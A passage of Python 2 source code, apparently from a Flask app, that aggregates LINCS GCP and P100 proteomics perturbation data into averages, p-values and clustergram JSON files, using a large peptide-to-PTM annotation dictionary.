"pertId": "BRD-A48881734", "pertType": "trt_cp", "pertTime": "3", # "pertDose": "1", "id": "P2", "lsmId": "LSM-42750"}, # {"LINCS_UNIQUE": "LINCSTP_0259", "pertVehicle": "DMSO", "pertName": "CPI-169", "cellId": "NPC", # "pubchemCid": "71712226", "pertId": "BRD-A48881734", "pertType": "trt_cp", "pertTime": "3", # "pertDose": "1", "id": "P3", "lsmId": "LSM-42750"}, # {"LINCS_UNIQUE": "LINCSTP_0116", "pertVehicle": "DMSO", "pertName": "CPI-169", "cellId": "A549", # "pubchemCid": "71712226", "pertId": "BRD-A48881734", "pertType": "trt_cp", "pertTime": "3", # "pertDose": "1", "id": "P4", "lsmId": "LSM-42750"}, # {"LINCS_UNIQUE": "LINCSTP_0275", "pertVehicle": "DMSO", "pertName": "CPI-169", "cellId": "PC3", # "pubchemCid": "71712226", "pertId": "BRD-A48881734", "pertType": "trt_cp", "pertTime": "3", # "pertDose": "1", "id": "P5", "lsmId": "LSM-42750"}, # {"LINCS_UNIQUE": "LINCSTP_0441", "pertVehicle": "DMSO", "pertName": "CPI-169", "cellId": "YAPC", # "pubchemCid": "71712226", "pertId": "BRD-A48881734", "pertType": "trt_cp", "pertTime": "3", # "pertDose": "1", "id": "P6", "lsmId": "LSM-42750"}]}, "LINCSTP_0002": pertAnnotation = {} # this is for slicing the clustergrammer pertAnnotation_for_slicing = {} pertJson = {} unique_iterator = 10000 keylist = GCP_unique_complete.keys() keylist.sort() for key in keylist: initial = [0.0] * 79 initial2 = [0.0] * 79 initial_not_na = [0.0] * 79 signature_id = "LINCS_TP" + str(unique_iterator) unique_iterator += 1 unique_sum[key] = initial unique_pvalue[key] = initial2 val = GCP_unique_complete.get(key) key_splitted = key.split("++") print key_splitted col_cell_line.append('Cell Line: ' + key_splitted[0]) col_pert_dose.append('Dose: ' + key_splitted[4] + key_splitted[5]) col_pert_time.append('Time: ' + key_splitted[8] + key_splitted[9]) col_pert_name.append( 'Perturbations: ' + key_splitted[7] + "/" + key_splitted[4] + key_splitted[5] + "/" + key_splitted[8] + key_splitted[9]) col_pert_signature.append('Signature ID: ' + signature_id) if "_sg01" not in key_splitted[7] and "_sg02" not in key_splitted[7]: cpType = 'Small Molecule' else: cpType = 'CRISPR' col_pert_type.append('Type: ' + cpType) compound_name = str(key_splitted[7]).upper() cp_metaData = {} cp_metaData_for_data_slicing = {} cp_metaData["Cell_line"] = key_splitted[0] cp_metaData["Dose"] = key_splitted[4] + " " + key_splitted[5] cp_metaData["Time"] = key_splitted[8] + " " + key_splitted[9] cp_metaData["Perturbations"] = compound_name cp_metaData["Type"] = cpType cp_metaData["Sig_id"] = signature_id cp_metaData_for_data_slicing["Cell_line"] = key_splitted[0] cp_metaData_for_data_slicing["Dose"] = key_splitted[4] + " " + key_splitted[5] cp_metaData_for_data_slicing["Time"] = key_splitted[8] + " " + key_splitted[9] cp_metaData_for_data_slicing["Perturbations"] = compound_name cp_metaData_for_data_slicing["Type"] = cpType cp_metaData_for_data_slicing["Sig_id"] = signature_id if compound_name not in pertAnnotation.keys(): # print identifier_complete pertAnnotation[compound_name] = [] pertAnnotation.get(compound_name).append(cp_metaData) else: pertAnnotation.get(compound_name).append(cp_metaData) item = list(val) # if len(item) == 1: # print '111111 %d =========== %s %s' % (keyIter, key, val) keyIter += 1 value_list = 0 sig2PeptideValue = {} for item_iter in range(0, 79): aux_list = [] for col in item: if str(GCP_data[col][item_iter + 28]) != "nan": aux_list.append(float(GCP_data[col][item_iter + 28])) unique_sum.get(key)[item_iter] += float(GCP_data[col][item_iter + 28]) initial_not_na[item_iter] += 1 else: print cp_metaData if initial_not_na[item_iter] > 0: unique_sum.get(key)[item_iter] /= initial_not_na[item_iter] peptide = str(GCP_data[4][28 + item_iter]) if (peptide == 'T[+56]K[+42]QTAR'): #print str(GCP_data[2][28 + item_iter]) if (str(GCP_data[2][28 + item_iter]) == 'BI10006'): peptide = "T[+56]K[+42]QTAR-me3K" else: peptide = "T[+56]K[+42]QTAR-aK" shorthand = petide2ptmAndGene[peptide] sig2PeptideValue[shorthand] = unique_sum.get(key)[item_iter] meanValue = unique_sum.get(key)[item_iter] average = unique_sum.get(key)[item_iter] if len(aux_list) > 1: variance2 = sum((average - value) ** 2 for value in aux_list) / (len(aux_list) - 1) t_stat2 = meanValue / np.sqrt(variance2 / float(len(aux_list))) # p_val = stats.t.sf(abs(t_stat), len(item)-1)*2 p_val2 = stats.t.sf(abs(t_stat2), len(aux_list) - 1) * 2 else: p_val2 = 0.0 unique_pvalue.get(key)[item_iter] = p_val2 # variance = np.var(aux_list) # print aux_list # t_stat = meanValue/np.sqrt(variance/float(len(item))) if (average != unique_sum.get(key)[item_iter] or average != meanValue or meanValue != unique_sum.get(key)[ item_iter]): print average print meanValue print unique_sum.get(key)[item_iter] print "++++++++++++++++++" if len(aux_list) > 1: variance2 = sum((average - value) ** 2 for value in aux_list) / (len(aux_list) - 1) # print "end of loop" cp_metaData_for_data_slicing["data"] = unique_sum.get(key) if compound_name not in pertAnnotation_for_slicing.keys(): # print identifier_complete pertAnnotation_for_slicing[compound_name] = [] pertAnnotation_for_slicing.get(compound_name).append(cp_metaData_for_data_slicing) else: pertAnnotation_for_slicing.get(compound_name).append(cp_metaData_for_data_slicing) x1 = np.array(unique_sum.get(key)) # print "end of loop1" x2 = x1[:, np.newaxis] # print "end of loop2" my_data_final = np.asarray(x2) # print "end of loop3" if first_loop: my_data_con = my_data_final first_loop = False else: my_data_con = np.hstack((my_data_con, my_data_final)) print "end of loop over unique" pertJson[signature_id] = sig2PeptideValue for keys in pertAnnotation: pertJson[keys] = pertAnnotation[keys] print "======================" print "======================" print "======================" print my_data_con.shape row_peptide = [] row_protein = [] row_gene = [] row_shorthand = [] for i in range(0, 79): peptide = str(GCP_data[4][28 + i]) if(peptide == 'T[+56]K[+42]QTAR'): print str(GCP_data[2][28 + i]) if(str(GCP_data[2][28 + i]) == 'BI10006'): peptide = "T[+56]K[+42]QTAR-me3K" else: peptide = "T[+56]K[+42]QTAR-aK" print peptide row_peptide.append('Peptide: ' + peptide) shorthand = petide2ptmAndGene[peptide] row_shorthand.append('PTM Proteins: ' + shorthand) row_protein.append('Protein: ' + str(GCP_data[9][28 + i])) row_gene.append('Gene: ' + str(GCP_data[6][28 + i])) arrays_rows2 = [np.array(row_shorthand), np.array(row_peptide), np.array(row_protein), np.array(row_gene)] arrays_columns2 = [np.array(col_pert_name), np.array(col_pert_signature), np.array(col_pert_time), np.array(col_pert_dose), np.array(col_pert_type), np.array(col_cell_line)] np.save("static/data/GCP_rowMetaDat", arrays_rows2) tuples_rows2 = list(zip(*arrays_rows2)) # print tuples_rows2 tuples_columns2 = list(zip(*arrays_columns2)) # print tuples_columns2 rows_labels2 = pd.MultiIndex.from_tuples(tuples_rows2) columns_labels2 = pd.MultiIndex.from_tuples(tuples_columns2) # my_data_con = my_data_con.fillna(0) print "after na to zero" a2 = np.nan_to_num(my_data_con) # a2 = my_data_con aa = a2.astype(np.float) print a2 print a2.shape print columns_labels2.shape print rows_labels2.shape # {'nop': row1, 'o0p': row2, 'zaz': row3, 'zax': row4, 'oof': row5, 'oye': row6} # df = pd.DataFrame(a, index=rows_labels, columns=columns_labels) df2 = pd.DataFrame(aa, index=rows_labels2, columns=columns_labels2) # print df2 GCP_all_json = loadFile.make_json_from_txt(df2) json.dump(GCP_all_json, open("static/data/GCP_aggregated_clustergram.json", 'w')) json.dump(pertJson, open("static/data/GCP_processed_perturb_new.json", 'w')) json.dump(pertAnnotation_for_slicing, open("static/data/GCP_processed_perturb_for_clustergramm_slicing.json", 'w')) # str(GCP_data[column][1]) + "++" + str(GCP_data[column][3]) + "++" + str( # GCP_data[column][4]) + "++" + str(GCP_data[column][7]) + "++" + \ # str(GCP_data[column][8]) + "++" + \ # str(GCP_data[column][11]) + "++" + str(GCP_data[column][12]) + "++" + \ # str(GCP_data[column][13]) + "++" + str(GCP_data[column][14]) + "++" \ # + str(GCP_data[column][15]) + "++" + \ # str(GCP_data[column][16]) + "++" + str(GCP_data[column][17]) + "++" + \ # str(GCP_data[column][18]) + "++" + str(GCP_data[column][19]) + "++" + \ # str(GCP_data[column][20]) + "++" + str(GCP_data[column][21]) + "++" + \ # str(GCP_data[column][22]) + "++" + str(GCP_data[column][23]) + "++" + \ # str(GCP_data[column][24]) + "++" + str(GCP_data[column][25]) + "++" + \ # str(GCP_data[column][26]) + "++" + str(GCP_data[column][27]) + "++" + \ # str(GCP_data[column][28]) # making p-value file first_col = [] first_col.append("") first_col.append("LINCS_Signature_ID") first_col.append(str(GCP_data[0][1])) first_col.append(str(GCP_data[0][5])) first_col.append(str(GCP_data[0][7])) first_col.append(str(GCP_data[0][8])) first_col.append(str(GCP_data[0][11])) first_col.append(str(GCP_data[0][12])) first_col.append(str(GCP_data[0][13])) first_col.append(str(GCP_data[0][14])) first_col.append(str(GCP_data[0][15])) first_col.append(str(GCP_data[0][16])) first_col.append(str(GCP_data[0][17])) first_col.append(str(GCP_data[0][18])) first_col.append(str(GCP_data[0][19])) first_col.append(str(GCP_data[0][20])) first_col.append(str(GCP_data[0][21])) first_col.append(str(GCP_data[0][22])) first_col.append(str(GCP_data[0][23])) first_col.append(str(GCP_data[0][24])) first_col.append(str(GCP_data[0][25])) first_col.append(str(GCP_data[0][26])) first_col.append(str(GCP_data[0][27])) for i in range(0, 79): first_col.append(str(GCP_data[0][28 + i])) x1 = np.array(first_col) x2 = x1[:, np.newaxis] my_data_final = np.asarray(x2) for col in range(1, 11): ith_col = [] ith_col.append(str(GCP_data[col][0])) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) for i in range(0, 79): ith_col.append(str(GCP_data[col][28 + i])) x1 = np.array(ith_col) x2 = x1[:, np.newaxis] col_data_final = np.asarray(x2) my_data_final = np.hstack((my_data_final, col_data_final)) # Adding PTMProtein ith_col = [] ith_col.append(str("ShortHand")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) ith_col.append(str("")) for i in range(0, 79): peptide = str(GCP_data[4][28 + i]) if(peptide == 'T[+56]K[+42]QTAR'): print str(GCP_data[2][28 + i]) if(str(GCP_data[2][28 + i]) == 'BI10006'): peptide = "T[+56]K[+42]QTAR-me3K" else: peptide = "T[+56]K[+42]QTAR-aK" shorthand = petide2ptmAndGene[peptide] ith_col.append(shorthand) x1 = np.array(ith_col) x2 = x1[:, np.newaxis] col_data_final = np.asarray(x2) my_data_final = np.hstack((my_data_final, col_data_final)) my_data_final2 = my_data_final my_data_final3 = my_data_final my_pvalue_con = my_data_final2 my_average_con = my_data_final3 print "my_data_final.shape" print my_data_final.shape unique_iterator = 10000 keylist = GCP_unique_complete.keys() keylist.sort() for key in keylist: signature_id = "LINCS_TP" + str(unique_iterator) unique_iterator += 1 key_splitted = key.split("++") key_list1 = [] key_list1.append("") key_list1.append(signature_id) for list_member in key_splitted: key_list1.append(list_member) # change list to array key_arr1 = np.array(key_list1) # This is for making data n by 1 instead of 1 by n key_arr2 = key_arr1[:, np.newaxis] x1 = np.array(unique_sum.get(key)) x2 = x1[:, np.newaxis] my_data = np.asarray(x2) col_data = np.vstack((key_arr2, my_data)) # Repeating for p-values x3 = np.array(unique_pvalue.get(key)) x4 = x3[:, np.newaxis] my_data_pvalue = np.asarray(x4) col_data_pvalue = np.vstack((key_arr2, my_data_pvalue)) my_average_con = np.hstack((my_average_con, col_data)) my_pvalue_con = np.hstack((my_pvalue_con, col_data_pvalue)) print "my_data.shape" print my_pvalue_con.shape np.savetxt("static/data/GCP_average.txt", my_average_con, delimiter='\t', fmt="%s") np.savetxt("static/data/GCP_pValue.txt", my_pvalue_con, delimiter='\t', fmt="%s") return GCP_all_json @app.route("/api/clust/P100/aggregated/") def make_clustergram_p100_aggregated(): petide2ptmAndGene = { "IYQY[+80]IQSR": "Q13627[Y+80@321](DYRK1A)", "TPKDS[+80]PGIPPSANAHQLFR": "P51812[S+80@369](RPS6KA3)", "RNS[+80]SEASSGDFLDLK": "Q9UK76[S+80@87](JPT1)", "LPLVPES[+80]PRR": "Q86WB0[S+80@321](ZC3HC1)", "ANAS[+80]PQKPLDLK": "Q9Y618[S+80@956](NCOR2)", "LENS[+80]PLGEALR": "Q9NX40[S+80@108](OCIAD1)", "ANS[+80]FVGTAQYVSPELLTEK": "O15530[S+80@241](PDPK1)", "TNPPTQKPPS[+80]PPMSGR": "Q8IZP0[S+80@183](ABI1)", "SNS[+80]LPHSAVSNAGSK": "Q8TBZ3[S+80@434](WDR20)", "VGS[+80]LDNVGHLPAGGAVK": "P27816[S+80@1073](MAP4)", "AAPEAS[+80]SPPASPLQHLLPGK": "Q96TA1[S+80@691](FAM129B)", "S[+122]DKPDM[+16]AEIEKFDK": "P62328[S+122@2][M+16@7](TMSB4X)", "S[+122]DKPDMAEIEKFDK": "P62328[S+122@2](TMSB4X)", "SLS[+80]LGDKEISR": "Q9UMZ2[S+80@1075](SYNRG)", "DLVQPDKPAS[+80]PK": "Q6PJT7[S+80@515](ZC3H14)", "SPS[+80]PAHLPDDPKVAEK": "Q92615[S+80@601](LARP4B)", "S[+80]IQDLTVTGTEPGQVSSR": "O43318[S+80@439](MAP3K7)", "IHS[+80]PIIR": "O60885[S+80@1117](BRD4)", "TFS[+80]LTEVR": "O95239[S+80@801](KIF4A)", "SLVGS[+80]WLK": "Q6ICG6[S+80@362](KIAA0930)", "S[+80]PPAPGLQPMR": "P15408[S+80@200](FOSL2)", "LAS[+80]PELER": "P17535[S+80@100](JUND)", "IGPLGLS[+80]PK": "P30050[S+80@38](RPL12)", "TPS[+80]IQPSLLPHAAPFAK": "P35658[S+80@1023](NUP214)", "HAS[+80]PILPITEFSDIPR": "P42167[S+80@306](TMPO)", "LIPGPLS[+80]PVAR": "P48634[S+80@1219](PRRC2A)", "LGM[+16]LS[+80]PEGTC[+57]K": "P49327[S+80@207][M+16@205][C+57@212](FASN)", "LGMLS[+80]PEGTC[+57]K": "P49327[S+80@207][C+57@212](FASN)", "ISNLS[+80]PEEEQGLWK": "Q5HYJ3[S+80@193](FAM76B)", "VSMPDVELNLKS[+80]PK": "Q09666[S+80@3426](AHNAK)", "S[+122]DNGELEDKPPAPPVR": "Q13177[S+122@2](PAK2)", "KAYS[+80]FC[+57]GTVEYM[+16]APEVVNR": "Q15418[S+80@221][M+16@229][C+57@223](RPS6KA1)", "KAYS[+80]FC[+57]GTVEYMAPEVVNR": "Q15418[S+80@221][C+57@223](RPS6KA1)", "NDS[+80]WGSFDLR": "Q7Z417[S+80@652](NUFIP2)", "LEVTEIVKPS[+80]PK": "Q7Z6E9[S+80@1179](RBBP6)", "YGS[+80]PPQRDPNWNGER": "O15234[S+80@265](CASC3)", "QDDS[+80]PPRPIIGPALPPGFIK": "Q8IXQ4[S+80@105](GPALPP1)", "SFS[+80]ADNFIGIQR": "Q8N7R7[S+80@344](CCNYL1)", "VLS[+80]PLIIK": "Q8NCN4[S+80@403](RNF169)", "AGS[+80]PDVLR": "Q8NDX6[S+80@44](ZNF740)", "LGPGRPLPTFPTSEC[+57]TS[+80]DVEPDTR": "Q8TDD1[S+80@75][C+57@73](DDX54)", "LAAPSVSHVS[+80]PR": "Q8WXE1[S+80@224](ATRIP)", "VDDDS[+80]LGEFPVTNSR": "Q92785[S+80@142](DPF2)", "NEEPVRS[+80]PERR": "Q92922[S+80@310](SMARCC1)", "LFIIRGS[+80]PQQIDHAK": "Q92945[S+80@480](KHSRP)", "S[+80]IEVENDFLPVEK": "Q96B97[S+80@230](SH3KBP1)", "TAPTLS[+80]PEHWK": "Q96JM3[S+80@405](CHAMP1)", "VLS[+80]PTAAKPSPFEGK": "Q96QC0[S+80@313](PPP1R10)", "SSDQPLTVPVS[+80]PK": "Q9ULW0[S+80@738](TPX2)", "FYETKEESYS[+80]PSKDR": "Q96T23[S+80@473](RSF1)", "SDS[+80]PENKYSDSTGHSK": "Q9BTA9[S+80@64](WAC)", "S[+80]IPLSIK": "Q9C0C9[S+80@515](UBE2O)", "RLS[+80]QSDEDVIR": "Q9H7D7[S+80@121](WDR26)", "ATS[+80]PVKSTTSITDAK": "Q9NQW6[S+80@295](ANLN)", "ALGS[+80]PTKQLLPC[+57]EMAC[+57]NEK": "Q9NR45[S+80@275][C+57@283][C+57@287](NANS)", "YLLGDAPVS[+80]PSSQK": "Q9NYB0[S+80@203](TERF2IP)", "ANS[+80]PEKPPEAGAAHKPR": "Q9UFC0[S+80@212](LRWD1)", "SEVQQPVHPKPLS[+80]PDSR": "Q9UHB6[S+80@362](LIMA1)", "ETPHS[+80]PGVEDAPIAK": "Q9UHB6[S+80@490](LIMA1)", "SQS[+80]PHYFR": "Q9UKJ3[S+80@1035](GPATCH8)", "DRS[+80]SPPPGYIPDELHQVAR": "Q9Y2U5[S+80@163](MAP3K2)", "SPALKS[+80]PLQSVVVR": "Q9Y2W1[S+80@253](THRAP3)", "AFGSGIDIKPGT[+80]PPIAGR": "Q9Y520[T+80@2673](PRRC2C)", "SFS[+80]SQRPVDR": "Q9Y520[S+80@1544](PRRC2C)", "VYT[+80]HEVVTLWYR": "P06493[T+80@161](CDK1)", "SST[+80]PLPTISSSAENTR": "P42167[T+80@160](TMPO)", "QIT[+80]MEELVR": "Q15149[T+80@4030](PLEC)", "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q9BXP5[T+80@544](SRRT)", "ALPQT[+80]PRPR": "Q9UQ35[T+80@1492](SRRM2)", "SMS[+80]VDLSHIPLKDPLLFK": "A0JNW5[S+80@935](UHRF1BP1L)", "S[+80]PTGPSNSFLANMGGTVAHK": "Q96I25[S+80@222](RBM17)", "S[+80]LTAHSLLPLAEK": "Q86VI3[S+80@1424](IQGAP3)", "S[+80]FAGNLNTYKR": "Q01813[S+80@386](PFKP)", "HRPS[+80]PPATPPPK": "Q8IYB3[S+80@402](SRRM1)", "LHS[+80]APNLSDLHVVRPK": "O75385[S+80@556](ULK1)", "TLGRRDS[+80]SDDWEIPDGQITVGQR": "P15056[S+80@446](BRAF)", "A[+42]TTATM[+16]ATSGS[+80]AR": "P38919[S+80@12][M+16@7][A+42@2](EIF4A3)", "A[+42]TTATMATSGS[+80]AR": "P38919[S+80@12][A+42@2](EIF4A3)", "IHVSRS[+80]PTRPR": "Q499Z4[S+80@189](ZNF672)", "RPHS[+80]PEKAFSSNPVVR": "Q53F19[S+80@500](NCBP3)", "KPNIFYSGPAS[+80]PARPR": "Q6PL18[S+80@327](ATAD2)", "TEFLDLDNSPLSPPS[+80]PR": "Q8NCF5[S+80@204](NFATC2IP)", "QGSGRES[+80]PSLASR": "Q8WWM7[S+80@339](ATXN2L)", # "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q8WWM7[S+80@339](SRRM2)", "LQS[+80]EPESIR": "P09496[S+80@105](CLTA)", "RLIS[+80]PYKK": "O14929[S+80@361](HAT1)", "LLEDS[+80]EESSEETVSR": "O60231[S+80@103](DHX16)", "S[+80]PPAPGLQPM[+16]R": "P15408[S+80@200][M+16@209](FOSL2)", "RRLS[+80]SLR": "P62753[S+80@235](RPS6)", "RLS[+80]ESQLSFRR": "Q96PK6[S+80@618](RBM14)", "RLS[+80]LPGLLSQVSPR": "Q96Q42[S+80@483](ALS2)", "SPDKPGGS[+80]PSASRR": "Q9Y3T9[S+80@56](NOC2L)", "HLPS[+80]PPTLDSIITEYLR": "Q9Y4B6[S+80@1000](DCAF1)", "ST[+80]FHAGQLR": "Q7KZI7[T+80@596](MARK2)", "S[+80]LTNSHLEKK": "Q9H2H9[S+80@52](SLC38A1)", "LQTPNT[+80]FPKR": "Q14978[T+80@610](NOLC1)", "QIT[+80]M[+16]EELVR": "Q15149[M+16@4031][T+80@4030](PLEC)", "T[+56]K[+56]QTAR": "P68431[me0K@5](HIST1H3A)", "T[+56]K[+70]QTAR": "P68431[meK@5](HIST1H3A)", "T[+56]K[+28]QTAR": "P68431[me2K@5](HIST1H3A)", "T[+56]K[+42]QTAR-me3K": "P68431[me3K@5](HIST1H3A)", "T[+56]K[+42]QTAR-aK": "P68431[aK@5](HIST1H3A)", "K[+112.1]STGGK[+56]APR": "P68431[me0K@10][a0K@15](HIST1H3A)", "K[+126.1]STGGK[+56]APR": "P68431[meK@10](HIST1H3A)", "K[+84.1]STGGK[+56]APR": "P68431[me2K@10](HIST1H3A)", "K[+98.1]STGGK[+56]APR": "P68431[me3K@10](HIST1H3A)", "K[+98]STGGK[+56]APR": "P68431[aK@10](HIST1H3A)", "K[+112.1]STGGK[+42]APR": "P68431[aK@15](HIST1H3A)", "K[+126.1]STGGK[+42]APR": "P68431[meK@10][aK@15](HIST1H3A)", "K[+84.1]STGGK[+42]APR": "P68431[me2K@10][aK@15](HIST1H3A)", "K[+98.1]STGGK[+42]APR": "P68431[me3K@10][aK@15](HIST1H3A)", "K[+98]STGGK[+42]APR": "P68431[aK@10][aK@15](HIST1H3A)", "K[+112.1]S[+80]TGGK[+56]APR": "P68431[pS@11](HIST1H3A)", "K[+126.1]S[+80]TGGK[+56]APR": "P68431[meK@10][pS@11](HIST1H3A)", "K[+84.1]S[+80]TGGK[+56]APR": "P68431[me2K@10][pS@11](HIST1H3A)", "K[+98.1]S[+80]TGGK[+56]APR": "P68431[me3K@10][pS@11](HIST1H3A)", "K[+98]S[+80]TGGK[+56]APR": "P68431[aK@10][pS@11](HIST1H3A)", "K[+112.1]S[+80]TGGK[+42]APR": "P68431[pS@11][aK@15](HIST1H3A)", "K[+126.1]S[+80]TGGK[+42]APR": "P68431[meK@10][pS@11][aK@15](HIST1H3A)", "K[+84.1]S[+80]TGGK[+42]APR": "P68431[me2K@10][pS@11][aK@15](HIST1H3A)", "K[+98.1]S[+80]TGGK[+42]APR": "P68431[me3K@10][pS@11][aK@15](HIST1H3A)", "K[+98]S[+80]TGGK[+42]APR": "P68431[aK@10][pS@11][aK@15](HIST1H3A)", "K[+112.1]QLATK[+56]AAR": "P68431[a0K@19][a0K@24](HIST1H3A)", "K[+98]QLATK[+56]AAR": "P68431[aK@19](HIST1H3A)", "K[+112.1]QLATK[+42]AAR": "P68431[aK@24](HIST1H3A)", "K[+98]QLATK[+42]AAR": "P68431[aK@19][aK@24](HIST1H3A)", "K[+226.1]QLATK[+56]AAR": "P68431[ubK@19][a0K@24](HIST1H3A)", "K[+112.1]QLATK[+170.1]AAR": "P68431[ubK@24](HIST1H3A)", "K[+112.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me0K@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+56]K[+56]PHR": "P68431[meK@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+70]K[+56]PHR": "P68431[meK@28][meK@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+28]K[+56]PHR": "P68431[meK@28][me2K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+42]K[+56]PHR": "P68431[meK@28][me3K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me2K@28][me0K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me2K@28][meK@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me2K@28][me2K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me2K@28][me3K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me3K@28][me0K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me3K@28][meK@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me3K@28][me2K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me3K@28][me3K@37](HIST1H3A)", "K[+98]SAPATGGVK[+56]K[+56]PHR": "P68431[aK@28][me0K@37](HIST1H3A)", "K[+98]SAPATGGVK[+70]K[+56]PHR": "P68431[aK@28][meK@37](HIST1H3A)", "K[+98]SAPATGGVK[+28]K[+56]PHR": "P68431[aK@28][me2K@37](HIST1H3A)", "K[+98]SAPATGGVK[+42]K[+56]PHR": "P68431[aK@28][me3K@37](HIST1H3A)", "K[+112.1]SAPSTGGVK[+56]K[+56]PHR": "P84243[me0K@28][me0K@37](H3F3A)", "Y[+56]RPGTVALR": "P68431-NORM(HIST1H3A)", "Y[+56]QK[+56]STELLIR": "P68431[me0K@57](HIST1H3A)", "E[+56]IAQDFK[+56]TDLR": "P68431[me0K@80](HIST1H3A)", "E[+56]IAQDFK[+70]TDLR": "P68431[meK@80](HIST1H3A)", "E[+56]IAQDFK[+28]TDLR": "P68431[me2K@80](HIST1H3A)", "K[+112.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me0K@28][meK@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me0K@28][me2K@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me0K@28][me3K@37](HIST1H3A)", "Y[+56]QK[+42]STELLIR": "P68431[aK@57](HIST1H3A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[a0K@6][a0K@13][a0K@17](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[aK@6](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+56]R": "P62805[aK@13](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+56]R": "P62805[aK@6][aK@9](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+42]R": "P62805[aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@6][aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@9][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@6][aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+70]R": "P62805[meK@17](HIST1H4A)", "K[+112.1]VLR": "P62805[me0K@21](HIST1H4A)", "K[+126.1]VLR": "P62805[meK@21](HIST1H4A)", "K[+84.1]VLR": "P62805[me2K@21](HIST1H4A)", "K[+98.1]VLR": "P62805[me3K@21](HIST1H4A)", "D[+56]AVTYTEHAK[+56]R": "P62805-NORM(HIST1H4A)", "Y[+56]QK[+28]STELLIR": "P68431[me2K@57](HIST1H3A)" } P100_data = pd.read_csv('static/data/P100-all-plates-Level4.2018_08_07.processed.csv', sep=',', header=None) p100_unique_complete = {} for column in range(21, P100_data.shape[1]): # print (column) # identifier = str(P100_data[column][10]) +"++"+str(P100_data[column][3]) +"++"+ str(P100_data[column][7]) +"++"+ str(P100_data[column][11]) p100_identifier_complete = str(P100_data[column][1]) + "++" + str(P100_data[column][3]) + "++" + str( P100_data[column][4]) + "++" + str(P100_data[column][7]) + "++" + str(P100_data[column][8]) + "++" + \ str(P100_data[column][11]) + "++" + str(P100_data[column][12]) + "++" + \ str(P100_data[column][13]) + "++" + str(P100_data[column][14]) + "++" \ + str(P100_data[column][15]) + "++" + \ str(P100_data[column][16]) + "++" + str(P100_data[column][17]) + "++" + \ str(P100_data[column][18]) + "++" + str(P100_data[column][19]) + "++" + \ str(P100_data[column][20]) + "++" + str(P100_data[column][21]) + "++" + \ str(P100_data[column][22]) + "++" + str(P100_data[column][23]) + "++" + \ str(P100_data[column][24]) + "++" + str(P100_data[column][25]) + "++" + \ str(P100_data[column][26]) + "++" + str(P100_data[column][27]) + "++" + \ str(P100_data[column][28]) if p100_identifier_complete not in p100_unique_complete.keys(): # print identifier_complete p100_unique_complete[p100_identifier_complete] = [] p100_unique_complete.get(p100_identifier_complete).append(column) else: p100_unique_complete.get(p100_identifier_complete).append(column) iterator = 0 for key in p100_unique_complete: val = p100_unique_complete.get(key) value = list(val) # print key for item in value: iterator += 1 # print item # print "------------------------" print iterator #print unique_complete_modified total = 0 total_complete = 0 print "size of unique_complete keys" print len(p100_unique_complete.keys()) print "size of unique_complete" print len(p100_unique_complete) unique_sum = {} # unique_sum_modified = {} unique_pvalue = {} col_cell_line = [] col_pert_name = [] col_pert_dose = [] col_pert_time = [] col_pert_type = [] col_pert_signature = [] my_data_con = [] keyIter = 0 first_loop = True 